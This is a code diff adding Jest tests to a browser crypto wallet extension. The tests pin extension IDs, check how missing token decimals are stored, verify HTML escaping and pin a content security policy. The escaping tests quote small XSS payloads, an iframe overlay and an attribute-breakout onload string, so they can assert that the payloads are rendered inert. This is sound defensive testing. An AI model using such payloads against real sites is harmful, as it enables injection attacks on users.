ids.length === 1 && ids[0] === keyed.firstId,
|
||||||
|
"saw " + JSON.stringify(ids) + ", expected exactly one id",
|
||||||
|
);
|
||||||
|
} catch (e) {
|
||||||
|
failed += 1;
|
||||||
|
console.log("# ERROR: " + (e && e.stack ? e.stack : e));
|
||||||
|
} finally {
|
||||||
|
for (const dir of scratch) {
|
||||||
|
fs.rmSync(dir, { recursive: true, force: true });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
console.log("1.." + checks.length);
|
||||||
|
if (checks.length === 0) {
|
||||||
|
console.log("# FAILED: this program asserted nothing");
|
||||||
|
process.exitCode = 1;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
console.log(
|
||||||
|
"# " +
|
||||||
|
(checks.length - failed) +
|
||||||
|
"/" +
|
||||||
|
checks.length +
|
||||||
|
" checks passed",
|
||||||
|
);
|
||||||
|
if (failed > 0) {
|
||||||
|
console.log("# FAILED");
|
||||||
|
process.exitCode = 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
main().catch((e) => {
|
||||||
|
console.error("storagePartition: " + (e && e.stack ? e.stack : e));
|
||||||
|
process.exitCode = 1;
|
||||||
|
});
|
||||||
@@ -21,7 +21,7 @@ jest.mock("../src/shared/wallet", () => ({
|
|||||||
getSignerForAddress: jest.fn(() => ({ privateKey: mockPrivateKey })),
|
getSignerForAddress: jest.fn(() => ({ privateKey: mockPrivateKey })),
|
||||||
}));
|
}));
|
||||||
|
|
||||||
const { RESTORABLE_VIEWS } = require("../src/popup/restorableViews");
|
const { RESTORABLE_VIEWS } = require("../src/shared/restorableViews");
|
||||||
|
|
||||||
const VIEW = "export-privkey";
|
const VIEW = "export-privkey";
|
||||||
const PASSWORD = "correct horse battery";
|
const PASSWORD = "correct horse battery";
|
||||||
|
|||||||
119
tests/extensionId.test.js
Normal file
119
tests/extensionId.test.js
Normal file
@@ -0,0 +1,119 @@
|
|||||||
|
// The extension identity on both browsers, pinned.
|
||||||
|
//
|
||||||
|
// This is the anti-regression check for
|
||||||
|
// https://git.eeqj.de/sneak/AutistMask/issues/310. An unpacked Chrome
|
||||||
|
// extension with no `key` in its manifest gets an id derived from the
|
||||||
|
// ABSOLUTE PATH it was loaded from, and chrome.storage.local is partitioned by
|
||||||
|
// that id. Move the checkout, re-clone it, or load it from a second directory,
|
||||||
|
// and the wallet is silently gone: the extension comes up on a fresh, empty
|
||||||
|
// storage partition with no error anywhere. `key` pins the id to the public
|
||||||
|
// key instead of to the path, which is what makes the storage survive.
|
||||||
|
//
|
||||||
|
// So the id is asserted as a literal. A test that merely recomputed the id
|
||||||
|
// from whatever `key` happened to be in the manifest would pass after someone
|
||||||
|
// replaced the key — and replacing the key is exactly the change that orphans
|
||||||
|
// every existing wallet. The value below is the promise; changing it is a
|
||||||
|
// migration, not an edit.
|
||||||
|
//
|
||||||
|
// Firefox needs no key: browser_specific_settings.gecko.id declares the id
|
||||||
|
// directly, and it is pinned here for the same reason. The Firefox e2e suite
|
||||||
|
// depends on it too (tests/e2e/firefox/driver.js maps it to a fixed uuid), and
|
||||||
|
// tests/e2e/firefox/reinstall.js is the empirical half — it removes the add-on
|
||||||
|
// and installs it again and reads the vault back out.
|
||||||
|
|
||||||
|
const crypto = require("crypto");
|
||||||
|
const fs = require("fs");
|
||||||
|
const path = require("path");
|
||||||
|
|
||||||
|
const MANIFEST_DIR = path.join(__dirname, "..", "manifest");
|
||||||
|
|
||||||
|
// The public half of an RSA keypair, DER-encoded SubjectPublicKeyInfo, base64.
|
||||||
|
// The PRIVATE half is not in this repo and is not needed to build, load or
|
||||||
|
// test anything here: it is only ever used to sign a CRX, which this repo does
|
||||||
|
// not do.
|
||||||
|
const CHROME_KEY =
|
||||||
|
"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzy/G9gT4Z3Ci0HCmthUPEiCjENg+" +
|
||||||
|
"5meZpjdogyT7SiMfxENtHdrpDL6wGhAg1Dk0f1C67Ft8OYpMrMH3kiP2Wnt0UpHo45PY0YUU" +
|
||||||
|
"YzdJgbsp8u0kaykd5FFiY6FycIIFaTniMuh7wRKuNNdJWly+H3aG7qZ6nGu5PIMdb1GXUk35" +
|
||||||
|
"hY+yl7dz5dqFFYUCyxvWCT9XGBSYiI+XRBB/rVZjMWfWpaTmRPdOZ4+GO/Lx0OdMxKlPA/kL" +
|
||||||
|
"WoPot5vMlLn2FDPu6sASphiu7dKZnrINW+h/27jlHMJQS0jncB1EgqOHW0vbXrZnTveFX6UW" +
|
||||||
|
"+Qp86FfSkikhKtQgTW2A4mtWawIDAQAB";
|
||||||
|
|
||||||
|
// chrome.storage.local for this extension lives under this id, and nowhere
|
||||||
|
// else.
|
||||||
|
const CHROME_EXTENSION_ID = "gipbhkogfopeahplcjhipkgpcimdpkip";
|
||||||
|
|
||||||
|
const FIREFOX_EXTENSION_ID = "autistmask@sneak.berlin";
|
||||||
|
|
||||||
|
// Chrome's id derivation: sha256 of the DER public key, first 16 bytes, each
|
||||||
|
// hex digit mapped 0-f onto a-p. Written out here rather than taken on trust,
|
||||||
|
// because the whole claim of this file is that the committed key produces that
|
||||||
|
// id.
|
||||||
|
function chromeExtensionId(keyBase64) {
|
||||||
|
const der = Buffer.from(keyBase64, "base64");
|
||||||
|
const digest = crypto.createHash("sha256").update(der).digest("hex");
|
||||||
|
return [...digest.slice(0, 32)]
|
||||||
|
.map((c) => String.fromCharCode(97 + parseInt(c, 16)))
|
||||||
|
.join("");
|
||||||
|
}
|
||||||
|
|
||||||
|
function readManifest(name) {
|
||||||
|
return JSON.parse(
|
||||||
|
fs.readFileSync(path.join(MANIFEST_DIR, name + ".json"), "utf8"),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
describe("chrome extension identity", () => {
|
||||||
|
test("the manifest carries the pinned key", () => {
|
||||||
|
expect(readManifest("chrome").key).toBe(CHROME_KEY);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("the key is a well-formed RSA public key", () => {
|
||||||
|
const der = Buffer.from(CHROME_KEY, "base64");
|
||||||
|
// Round-trips: a truncated or re-wrapped base64 blob would still
|
||||||
|
// decode to bytes, and Chrome would then derive an id from garbage.
|
||||||
|
expect(der.toString("base64")).toBe(CHROME_KEY);
|
||||||
|
const key = crypto.createPublicKey({
|
||||||
|
key: der,
|
||||||
|
format: "der",
|
||||||
|
type: "spki",
|
||||||
|
});
|
||||||
|
expect(key.asymmetricKeyType).toBe("rsa");
|
||||||
|
expect(key.asymmetricKeyDetails.modulusLength).toBe(2048);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("the key derives the pinned extension id", () => {
|
||||||
|
expect(chromeExtensionId(CHROME_KEY)).toBe(CHROME_EXTENSION_ID);
|
||||||
|
expect(CHROME_EXTENSION_ID).toMatch(/^[a-p]{32}$/);
|
||||||
|
});
|
||||||
|
|
||||||
|
// The private half is a credential. It has never been in this repo and no
|
||||||
|
// target generates one into the working tree; this fails loudly if that
|
||||||
|
// ever changes, because a committed .pem is a key anyone can sign a CRX
|
||||||
|
// with under this extension's id.
|
||||||
|
test("no private key is committed anywhere in the tree", () => {
|
||||||
|
const tracked = require("child_process")
|
||||||
|
.execSync("git ls-files", {
|
||||||
|
cwd: path.join(__dirname, ".."),
|
||||||
|
encoding: "utf8",
|
||||||
|
})
|
||||||
|
.split("\n")
|
||||||
|
.filter(Boolean);
|
||||||
|
expect(tracked.filter((f) => /\.(pem|key|p12|pfx)$/i.test(f))).toEqual(
|
||||||
|
[],
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("firefox extension identity", () => {
|
||||||
|
test("the manifest declares the pinned gecko id", () => {
|
||||||
|
const gecko = readManifest("firefox").browser_specific_settings.gecko;
|
||||||
|
expect(gecko.id).toBe(FIREFOX_EXTENSION_ID);
|
||||||
|
});
|
||||||
|
|
||||||
|
// Firefox derives nothing from the path, so no key field belongs here; one
|
||||||
|
// would be ignored and would only suggest the id came from somewhere else.
|
||||||
|
test("the firefox manifest carries no chrome key field", () => {
|
||||||
|
expect(readManifest("firefox").key).toBeUndefined();
|
||||||
|
});
|
||||||
|
});
|
||||||
282
tests/fabricatedDecimals.test.js
Normal file
282
tests/fabricatedDecimals.test.js
Normal file
@@ -0,0 +1,282 @@
|
|||||||
|
// What the balance fetcher stores when the block explorer reports no decimals
|
||||||
|
// for a token, and what the approval screens then display.
|
||||||
|
//
|
||||||
|
// https://git.eeqj.de/sneak/AutistMask/issues/349: `fetchTokenBalances()` did
|
||||||
|
// `parseInt(item.token.decimals || "18", 10)` BEFORE writing the row, so a
|
||||||
|
// token whose `decimals()` reverts — and which the explorer therefore reports
|
||||||
|
// no scale for — was stored with a fabricated 18. Nothing downstream could
|
||||||
|
// tell that from a real 18.
|
||||||
|
//
|
||||||
|
// That matters because it is upstream of two refusals that were already built
|
||||||
|
// and already merged. https://git.eeqj.de/sneak/AutistMask/issues/306 made the
|
||||||
|
// ERC-20 amount line resolve the real scale or refuse to format, and
|
||||||
|
// https://git.eeqj.de/sneak/AutistMask/issues/340 did the same for the swap
|
||||||
|
// lines. Both read this stored value as an authoritative source, so the guess
|
||||||
|
// walked straight past them: the refusal was intact and simply never fired.
|
||||||
|
//
|
||||||
|
// So these tests run a real explorer response through the real fetcher and
|
||||||
|
// assert on the real approval screens. A test that hand-writes `decimals: null`
|
||||||
|
// onto state would pass on the broken build, because the fabrication is in the
|
||||||
|
// writer, not the readers.
|
||||||
|
|
||||||
|
jest.mock("../src/shared/log", () => ({
|
||||||
|
log: {
|
||||||
|
debugf: () => {},
|
||||||
|
infof: () => {},
|
||||||
|
warnf: () => {},
|
||||||
|
errorf: () => {},
|
||||||
|
},
|
||||||
|
debugFetch: jest.fn(),
|
||||||
|
setRuntimeDebug: () => {},
|
||||||
|
isDebug: () => false,
|
||||||
|
}));
|
||||||
|
|
||||||
|
global.fetch = jest.fn(() => {
|
||||||
|
throw new Error("tests must not perform network requests");
|
||||||
|
});
|
||||||
|
|
||||||
|
const { makeStorageStub } = require("./support/storageStub");
|
||||||
|
global.chrome = { storage: makeStorageStub() };
|
||||||
|
|
||||||
|
const { AbiCoder, Interface } = require("ethers");
|
||||||
|
const { ERC20_ABI } = require("../src/shared/constants");
|
||||||
|
const { fetchTokenBalances } = require("../src/shared/balances");
|
||||||
|
const { debugFetch } = require("../src/shared/log");
|
||||||
|
const { state } = require("../src/shared/state");
|
||||||
|
const { unknownDecimalsAmount } = require("../src/shared/approvalAmount");
|
||||||
|
const { decodeCalldata } = require("../src/popup/views/approval");
|
||||||
|
const { TOKEN_BY_ADDRESS } = require("../src/shared/tokenList");
|
||||||
|
|
||||||
|
const HOLDER = "0x" + "a".repeat(40);
|
||||||
|
const BLOCKSCOUT = "https://blockscout.example/api/v2";
|
||||||
|
const ROUTER = "0x66a9893cc07d91d95644aedd05d03f95e1dba8af";
|
||||||
|
const RECIPIENT = "0xC0FfEE0000000000000000000000000000c0fFEe";
|
||||||
|
const SPENDER = "0x1111111111111111111111111111111111111111";
|
||||||
|
// Outside the bundled list and untracked, so the explorer is the only source
|
||||||
|
// of a scale for it — which is the case the fabrication was hiding.
|
||||||
|
const NOVEL = "0xE2E0000000000000000000000000000000000E2e";
|
||||||
|
// In the bundled list, at 18 decimals, for the other side of a swap.
|
||||||
|
const WETH = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2";
|
||||||
|
|
||||||
|
// The holding the explorer reports, in base units. Large enough that it does
|
||||||
|
// not round to zero even when divided by 10^18, which is what makes it the
|
||||||
|
// case the laundering actually REACHED: a smaller holding formatted at the
|
||||||
|
// fabricated 18 comes out "0.0", the balance list drops the row as dust, and
|
||||||
|
// the approval screens then find no source for the scale and refuse anyway —
|
||||||
|
// for the wrong reason, and only by luck.
|
||||||
|
const HOLDING = 5000000000000000000n;
|
||||||
|
|
||||||
|
// The amount in the dApp's calldata, which is a separate number from the
|
||||||
|
// holding. 1,000.00 of a 6-decimal token; formatted at the fabricated 18 it
|
||||||
|
// reads 0.000000001, and at a real scale of 0 it reads 1000000000.
|
||||||
|
const THOUSAND_AT_SIX = 1000000000n;
|
||||||
|
const HALF_WETH = 500000000000000000n;
|
||||||
|
|
||||||
|
const erc20Iface = new Interface(ERC20_ABI);
|
||||||
|
const coder = AbiCoder.defaultAbiCoder();
|
||||||
|
const routerIface = new Interface([
|
||||||
|
"function execute(bytes commands, bytes[] inputs, uint256 deadline)",
|
||||||
|
]);
|
||||||
|
|
||||||
|
// One Blockscout token-balances row. `token` is spread last so a test can
|
||||||
|
// override or blank a field; the base row carries no `decimals` at all, which
|
||||||
|
// is exactly what a token whose decimals() reverts produces.
|
||||||
|
function row(token = {}, value = HOLDING) {
|
||||||
|
return {
|
||||||
|
value: String(value),
|
||||||
|
token: {
|
||||||
|
type: "ERC-20",
|
||||||
|
address_hash: NOVEL,
|
||||||
|
symbol: "NOVEL",
|
||||||
|
name: "Novel Token",
|
||||||
|
// Well clear of the balance list's own spam floor, so the row is
|
||||||
|
// admitted on its holder count alone: neither the bundled list nor
|
||||||
|
// a tracked entry can supply a scale for it.
|
||||||
|
holders_count: "50000",
|
||||||
|
...token,
|
||||||
|
},
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
function respondWith(items) {
|
||||||
|
debugFetch.mockImplementation(async () => ({
|
||||||
|
ok: true,
|
||||||
|
status: 200,
|
||||||
|
statusText: "OK",
|
||||||
|
json: async () => items,
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fetch and place the result exactly where refreshBalances() places it, so the
|
||||||
|
// approval screens read what a real refresh would have left on state.
|
||||||
|
async function fetchOnto(items, trackedTokens = []) {
|
||||||
|
respondWith(items);
|
||||||
|
const balances = await fetchTokenBalances(
|
||||||
|
HOLDER,
|
||||||
|
BLOCKSCOUT,
|
||||||
|
trackedTokens,
|
||||||
|
);
|
||||||
|
state.trackedTokens = trackedTokens;
|
||||||
|
state.wallets = [
|
||||||
|
{
|
||||||
|
name: "Wallet 1",
|
||||||
|
addresses: [
|
||||||
|
{ address: HOLDER, balance: "1.0", tokenBalances: balances },
|
||||||
|
],
|
||||||
|
},
|
||||||
|
];
|
||||||
|
return balances;
|
||||||
|
}
|
||||||
|
|
||||||
|
// The ERC-20 approval screen's Amount line, and the swap decoder's.
|
||||||
|
function erc20AmountLine(data, tokenAddress) {
|
||||||
|
return decodeCalldata(data, tokenAddress).details.find(
|
||||||
|
(d) => d.label === "Amount",
|
||||||
|
).value;
|
||||||
|
}
|
||||||
|
|
||||||
|
function swapAmountLine(data) {
|
||||||
|
return decodeCalldata(data, ROUTER).details.find(
|
||||||
|
(d) => d.label === "Amount",
|
||||||
|
).value;
|
||||||
|
}
|
||||||
|
|
||||||
|
function transferData(amount) {
|
||||||
|
return erc20Iface.encodeFunctionData("transfer", [RECIPIENT, amount]);
|
||||||
|
}
|
||||||
|
|
||||||
|
function approveData(amount) {
|
||||||
|
return erc20Iface.encodeFunctionData("approve", [SPENDER, amount]);
|
||||||
|
}
|
||||||
|
|
||||||
|
function swapData(tokenIn, amountIn, tokenOut, amountOutMin) {
|
||||||
|
const input = coder.encode(
|
||||||
|
["address", "uint256", "uint256", "address[]", "bool"],
|
||||||
|
[RECIPIENT, amountIn, amountOutMin, [tokenIn, tokenOut], true],
|
||||||
|
);
|
||||||
|
return routerIface.encodeFunctionData("execute", [
|
||||||
|
"0x08",
|
||||||
|
[input],
|
||||||
|
9999999999n,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
debugFetch.mockReset();
|
||||||
|
state.trackedTokens = [];
|
||||||
|
state.wallets = [];
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("what fetchTokenBalances stores for an absent scale", () => {
|
||||||
|
test("the token is not in the bundled list, so the explorer is the only source", () => {
|
||||||
|
expect(TOKEN_BY_ADDRESS.has(NOVEL.toLowerCase())).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("an absent decimals is stored as null, not as 18", async () => {
|
||||||
|
const balances = await fetchOnto([row()]);
|
||||||
|
expect(balances).toHaveLength(1);
|
||||||
|
expect(balances[0].decimals).toBeNull();
|
||||||
|
});
|
||||||
|
|
||||||
|
test("an explicit null decimals is stored as null too", async () => {
|
||||||
|
const balances = await fetchOnto([row({ decimals: null })]);
|
||||||
|
expect(balances[0].decimals).toBeNull();
|
||||||
|
});
|
||||||
|
|
||||||
|
// The same explorer row twice, differing only in whether it reports a
|
||||||
|
// scale of 18. Before the fix both stored 18 and no reader could tell
|
||||||
|
// which one had actually been reported.
|
||||||
|
test("a real 18 is stored as 18, and so is distinguishable from absent", async () => {
|
||||||
|
const real = await fetchOnto([row({ decimals: "18" })]);
|
||||||
|
expect(real[0].decimals).toBe(18);
|
||||||
|
expect(real[0].balance).toBe("5.0");
|
||||||
|
const absent = await fetchOnto([row()]);
|
||||||
|
expect(absent[0].decimals).toBeNull();
|
||||||
|
expect(real[0].decimals).not.toBe(absent[0].decimals);
|
||||||
|
});
|
||||||
|
|
||||||
|
// The falsy-collapse trap of
|
||||||
|
// https://git.eeqj.de/sneak/AutistMask/issues/246. `decimals || "18"` reads
|
||||||
|
// a real scale of zero as absent and then as eighteen, which is eighteen
|
||||||
|
// orders of magnitude of error in the direction that displays as nothing.
|
||||||
|
test("a real scale of zero is stored as zero, not collapsed", async () => {
|
||||||
|
for (const reported of ["0", 0]) {
|
||||||
|
const balances = await fetchOnto([row({ decimals: reported })]);
|
||||||
|
expect(balances[0].decimals).toBe(0);
|
||||||
|
expect(balances[0].balance).toBe("5000000000000000000.0");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("no quantity is stated for a holding whose scale is unknown", async () => {
|
||||||
|
const balances = await fetchOnto([row()]);
|
||||||
|
// Not "0.0": the holding is real and nonzero, and a zero here is the
|
||||||
|
// same lie the approval screens refuse to tell.
|
||||||
|
expect(balances[0].balance).toBeNull();
|
||||||
|
});
|
||||||
|
|
||||||
|
// Zero base units is zero tokens at every scale, so this filter never
|
||||||
|
// needed a scale in the first place and does not acquire one now.
|
||||||
|
test("a holding of zero base units is still dropped without a scale", async () => {
|
||||||
|
expect(await fetchOnto([row({}, 0n)])).toEqual([]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("the bundled list still supplies a quantity the explorer omitted", async () => {
|
||||||
|
const balances = await fetchOnto([
|
||||||
|
row({ address_hash: WETH, symbol: "WETH" }),
|
||||||
|
]);
|
||||||
|
// The stored decimals stay the explorer's own answer — absent. Copying
|
||||||
|
// another source in here would make explorerDecimals()'s disagreement
|
||||||
|
// check compare something other than explorer values.
|
||||||
|
expect(balances[0].decimals).toBeNull();
|
||||||
|
// The displayed quantity still comes out right, because the bundled
|
||||||
|
// list knows this token's scale and outranks the explorer anyway.
|
||||||
|
expect(balances[0].balance).toBe("5.0");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("the ERC-20 approval line reaches its refusal", () => {
|
||||||
|
test("a transfer of a token the explorer gave no scale for is not formatted", async () => {
|
||||||
|
await fetchOnto([row()]);
|
||||||
|
const line = erc20AmountLine(transferData(THOUSAND_AT_SIX), NOVEL);
|
||||||
|
expect(line).toBe(unknownDecimalsAmount(THOUSAND_AT_SIX));
|
||||||
|
// The defect: a fabricated 18 renders this as 0.000000001, a quantity,
|
||||||
|
// and a wrong one.
|
||||||
|
expect(line).not.toMatch(/^0\./);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("an approve of the same token is not formatted either", async () => {
|
||||||
|
await fetchOnto([row()]);
|
||||||
|
const line = erc20AmountLine(approveData(THOUSAND_AT_SIX), NOVEL);
|
||||||
|
expect(line).toBe(unknownDecimalsAmount(THOUSAND_AT_SIX));
|
||||||
|
expect(line).not.toMatch(/^0\./);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a scale the explorer did report still formats", async () => {
|
||||||
|
await fetchOnto([row({ decimals: "6" })]);
|
||||||
|
expect(erc20AmountLine(transferData(THOUSAND_AT_SIX), NOVEL)).toBe(
|
||||||
|
"1000.0000",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("the swap approval line reaches its refusal", () => {
|
||||||
|
test("a swap of a token the explorer gave no scale for is not formatted", async () => {
|
||||||
|
await fetchOnto([row()]);
|
||||||
|
const line = swapAmountLine(
|
||||||
|
swapData(NOVEL, THOUSAND_AT_SIX, WETH, HALF_WETH),
|
||||||
|
);
|
||||||
|
expect(line).toBe(unknownDecimalsAmount(THOUSAND_AT_SIX));
|
||||||
|
expect(line).not.toMatch(/^0\./);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a scale the explorer did report still formats", async () => {
|
||||||
|
await fetchOnto([row({ decimals: "6" })]);
|
||||||
|
expect(
|
||||||
|
swapAmountLine(swapData(NOVEL, THOUSAND_AT_SIX, WETH, HALF_WETH)),
|
||||||
|
).toBe("1000.0000");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
test("no test in this file performed a network request", () => {
|
||||||
|
expect(global.fetch).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
110
tests/htmlEscape.test.js
Normal file
110
tests/htmlEscape.test.js
Normal file
@@ -0,0 +1,110 @@
|
|||||||
|
// The escape every view depends on, and the length bound on a displayed
|
||||||
|
// token symbol. Both were added for #307, where a token whose symbol()
|
||||||
|
// returned an <iframe> tag rendered that iframe inside the popup.
|
||||||
|
|
||||||
|
const { escapeHtml } = require("../src/shared/html");
|
||||||
|
const {
|
||||||
|
displaySymbol,
|
||||||
|
MAX_SYMBOL_LENGTH,
|
||||||
|
UNKNOWN_SYMBOL,
|
||||||
|
} = require("../src/shared/symbolDisplay");
|
||||||
|
|
||||||
|
// The payload from the issue's reproduction, verbatim.
|
||||||
|
const HOSTILE_SYMBOL =
|
||||||
|
'<iframe id="pwn" src="https://dapp.e2e.test/" ' +
|
||||||
|
'style="position:fixed;left:0;top:0;width:360px;height:600px;z-index:99999"></iframe>';
|
||||||
|
|
||||||
|
describe("escapeHtml", () => {
|
||||||
|
test("escapes all five characters, quotes included", () => {
|
||||||
|
expect(escapeHtml("&<>\"'")).toBe("&<>"'");
|
||||||
|
});
|
||||||
|
|
||||||
|
// The regression this function was rewritten for. The previous
|
||||||
|
// implementation round-tripped through a detached div's textContent,
|
||||||
|
// and an HTML text node serializes a quote as itself — so a value with
|
||||||
|
// a quote in it broke straight out of data-copy="..." and href="...".
|
||||||
|
test("escapes quotes, which the textContent round trip did not", () => {
|
||||||
|
expect(escapeHtml('a"b')).toBe("a"b");
|
||||||
|
expect(escapeHtml("a'b")).toBe("a'b");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("does not double-escape an ampersand it just introduced", () => {
|
||||||
|
expect(escapeHtml("<")).toBe("&lt;");
|
||||||
|
expect(escapeHtml("&")).toBe("&amp;");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("leaves a string with nothing to escape untouched", () => {
|
||||||
|
expect(escapeHtml("USDC")).toBe("USDC");
|
||||||
|
expect(escapeHtml("")).toBe("");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("renders the hostile symbol inert", () => {
|
||||||
|
const out = escapeHtml(HOSTILE_SYMBOL);
|
||||||
|
expect(out).not.toContain("<");
|
||||||
|
expect(out).not.toContain(">");
|
||||||
|
expect(out).not.toContain('"');
|
||||||
|
expect(out).toContain("<iframe");
|
||||||
|
});
|
||||||
|
|
||||||
|
// A quoted attribute is broken out of by a quote, a bare one by a
|
||||||
|
// space; both are closed here. Asserted as a whole attribute rather
|
||||||
|
// than character by character, because it is the attribute that has to
|
||||||
|
// survive, not the escape table.
|
||||||
|
test("a value carrying a quote stays inside its attribute", () => {
|
||||||
|
const evil = '" onload="alert(1)';
|
||||||
|
const attr = `data-copy="${escapeHtml(evil)}"`;
|
||||||
|
expect(attr).toBe('data-copy="" onload="alert(1)"');
|
||||||
|
expect(attr.split('"').length - 1).toBe(2);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("null and undefined render as nothing rather than as words", () => {
|
||||||
|
expect(escapeHtml(null)).toBe("");
|
||||||
|
expect(escapeHtml(undefined)).toBe("");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("coerces a non-string without losing the escape", () => {
|
||||||
|
expect(escapeHtml(42)).toBe("42");
|
||||||
|
expect(escapeHtml({ toString: () => "<b>" })).toBe("<b>");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("displaySymbol", () => {
|
||||||
|
test("passes every symbol in the bundled list through unchanged", () => {
|
||||||
|
const { TOKENS } = require("../src/shared/tokenList");
|
||||||
|
for (const t of TOKENS) {
|
||||||
|
expect([t.address, displaySymbol(t.symbol)]).toEqual([
|
||||||
|
t.address,
|
||||||
|
t.symbol,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("caps an over-long symbol and marks it as truncated", () => {
|
||||||
|
const long = "A".repeat(4096);
|
||||||
|
const out = displaySymbol(long);
|
||||||
|
expect(out.length).toBe(MAX_SYMBOL_LENGTH);
|
||||||
|
expect(out.endsWith("…")).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("keeps a symbol of exactly the cap intact", () => {
|
||||||
|
const exact = "A".repeat(MAX_SYMBOL_LENGTH);
|
||||||
|
expect(displaySymbol(exact)).toBe(exact);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("substitutes a placeholder for an absent symbol", () => {
|
||||||
|
expect(displaySymbol("")).toBe(UNKNOWN_SYMBOL);
|
||||||
|
expect(displaySymbol(null)).toBe(UNKNOWN_SYMBOL);
|
||||||
|
expect(displaySymbol(undefined)).toBe(UNKNOWN_SYMBOL);
|
||||||
|
});
|
||||||
|
|
||||||
|
// The cap is a layout bound and nothing more: it must not be mistaken
|
||||||
|
// for the thing that makes a symbol safe to render. A short hostile
|
||||||
|
// symbol passes through it untouched, and is inert only because the
|
||||||
|
// caller escapes it afterwards.
|
||||||
|
test("does not sanitize — a short markup symbol survives it verbatim", () => {
|
||||||
|
expect(displaySymbol("<img src=x>")).toBe("<img src=x>");
|
||||||
|
expect(escapeHtml(displaySymbol("<img src=x>"))).toBe(
|
||||||
|
"<img src=x>",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -13,6 +13,33 @@
|
|||||||
// an exact match on the token set is what keeps the next edit from
|
// an exact match on the token set is what keeps the next edit from
|
||||||
// smuggling one in alongside.
|
// smuggling one in alongside.
|
||||||
//
|
//
|
||||||
|
// It is also the anti-regression check for #307. The policy used to declare
|
||||||
|
// script-src and object-src and nothing else, which left every directive
|
||||||
|
// that does not fall back to them — and, absent default-src, every one that
|
||||||
|
// does — wide open: a hostile ERC-20 symbol that reached innerHTML could
|
||||||
|
// load a full-viewport cross-origin iframe over the wallet's own UI. The
|
||||||
|
// escaping in src/shared/html.js is the primary fix; default-src is what
|
||||||
|
// stops the next escape that slips from reaching the network.
|
||||||
|
//
|
||||||
|
// Every directive below is pinned exactly, because each of the four
|
||||||
|
// loosenings is load-bearing and none of them may grow:
|
||||||
|
//
|
||||||
|
// style-src 'unsafe-inline' src/popup/index.html and the view helpers
|
||||||
|
// use style="..." attributes throughout, which
|
||||||
|
// CSP blocks without it. Chrome enforces this
|
||||||
|
// on attributes, not just <style> blocks, and
|
||||||
|
// Firefox has never implemented style-src-attr,
|
||||||
|
// so there is no narrower spelling available.
|
||||||
|
// img-src data: blockies are data: PNGs assigned to img.src.
|
||||||
|
// connect-src https: http: the RPC endpoint is user-configurable, and a
|
||||||
|
// local node over http://127.0.0.1 is a
|
||||||
|
// supported configuration — the Firefox e2e
|
||||||
|
// suite runs on exactly that.
|
||||||
|
// frame-src/form-action/base-uri named rather than inherited: form-action
|
||||||
|
// and base-uri do not fall back to default-src
|
||||||
|
// at all, and frame-src 'none' is what kills
|
||||||
|
// the reported attack outright.
|
||||||
|
//
|
||||||
// build.js copies these files to dist/<target>/manifest.json verbatim, so
|
// build.js copies these files to dist/<target>/manifest.json verbatim, so
|
||||||
// what is asserted here is what ships.
|
// what is asserted here is what ships.
|
||||||
|
|
||||||
@@ -20,9 +47,29 @@ const fs = require("fs");
|
|||||||
const path = require("path");
|
const path = require("path");
|
||||||
|
|
||||||
const MANIFEST_DIR = path.join(__dirname, "..", "manifest");
|
const MANIFEST_DIR = path.join(__dirname, "..", "manifest");
|
||||||
|
const ROOT = path.join(__dirname, "..");
|
||||||
|
|
||||||
const EXPECTED_SCRIPT_SRC = ["'self'", "'wasm-unsafe-eval'"];
|
// The sizes both stores and both toolbars ask for.
|
||||||
const EXPECTED_OBJECT_SRC = ["'self'"];
|
const EXPECTED_ICON_SIZES = ["16", "32", "48", "128"];
|
||||||
|
|
||||||
|
const PNG_SIGNATURE = Buffer.from("89504e470d0a1a0a", "hex");
|
||||||
|
|
||||||
|
const EXPECTED_DIRECTIVES = {
|
||||||
|
"default-src": ["'self'"],
|
||||||
|
"script-src": ["'self'", "'wasm-unsafe-eval'"],
|
||||||
|
"object-src": ["'self'"],
|
||||||
|
"style-src": ["'self'", "'unsafe-inline'"],
|
||||||
|
"img-src": ["'self'", "data:"],
|
||||||
|
"connect-src": ["'self'", "http:", "https:"],
|
||||||
|
"frame-src": ["'none'"],
|
||||||
|
"form-action": ["'none'"],
|
||||||
|
"base-uri": ["'none'"],
|
||||||
|
};
|
||||||
|
|
||||||
|
// Directives that fetch script. Nothing that can execute code may name a
|
||||||
|
// remote source, an eval form, or an inline form; 'wasm-unsafe-eval' is the
|
||||||
|
// single deliberate exception and it is pinned above.
|
||||||
|
